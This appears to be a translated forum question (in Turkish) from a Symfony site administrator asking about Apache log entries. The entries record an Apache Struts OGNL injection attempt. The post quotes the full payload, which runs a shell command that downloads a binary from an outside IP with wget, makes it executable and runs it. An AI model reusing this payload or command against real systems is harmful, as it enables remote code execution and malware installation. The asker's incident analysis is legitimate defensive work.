Bazı Apache kayıtlarına bakıyordum ve saldırı gibi görünen şeylerle karşılaştım.
core:error] [pid 20356] (36)File name too long: [client xxx.xxx.xxx.xxx:56856] AH00036: access to
/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).
(#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).
(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().
exec('uname --m|grep x86_64 >> /dev/null || (pkill loop ; wget -O .loop http://111.90.158.225/d/ft32 && chmod 777 .loop && ./.loop)
&&(pkill loop ; wget -O .loop http://111.90.158.225/d/ft64 && chmod 777 .loop && ./.loop)').getInputStream()))).
(#w.close())}/index.action failed (filesystem path '/var/www/html/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).
(#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).
(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('uname --m|grep x86_64 >> ')
Yürütme satırı şu şekilde:
exec('uname --m|grep x86_64 >> /dev/null || (pkill loop ; wget -O .loop http://111.90.158.225/d/ft32 && chmod 777 .loop && ./.loop)
&&(pkill loop ; wget -O .loop http://111.90.158.225/d/ft64 && chmod 777 .loop && ./.loop)')
Dosyayı wget -O .loop http://111.90.158.225/d/ft64
bir sanal alana indirdim ve derlenmiş / ikili bir dosyada görünüyor, bu nedenle çalıştırıldığında dosyanın ne yaptığından emin değilim.
Hatadan biri benim bir güvenlik açığı olup olmadığını veya daha da iyisi, bu güvenlik açığını nasıl açabileceğimi / güvenliği artıracağımı söyleyebilir mi?
- Apache 2.4'te bir Symfony 4 API kullanıyorum.
- Saldırının nasıl yapıldığından ve
.exec
komutu nasıl çalıştırmaya çalıştıklarından emin değilim.
Bunu bildirmek için uygun bir yer var mı?
http://example.com/${(#dm=@ognl.OgnlContext@....exec(...)/
ama eğer belirsiz duyuyorum Ben bu varsayımda haklıyım. Kayıtta ayrıca com.opensymphony.xwork2.ActionContext.container
hangisinin parçası olduğu da belirtiliyor Apache Struts
. Ben kullanmıyorumApache Struts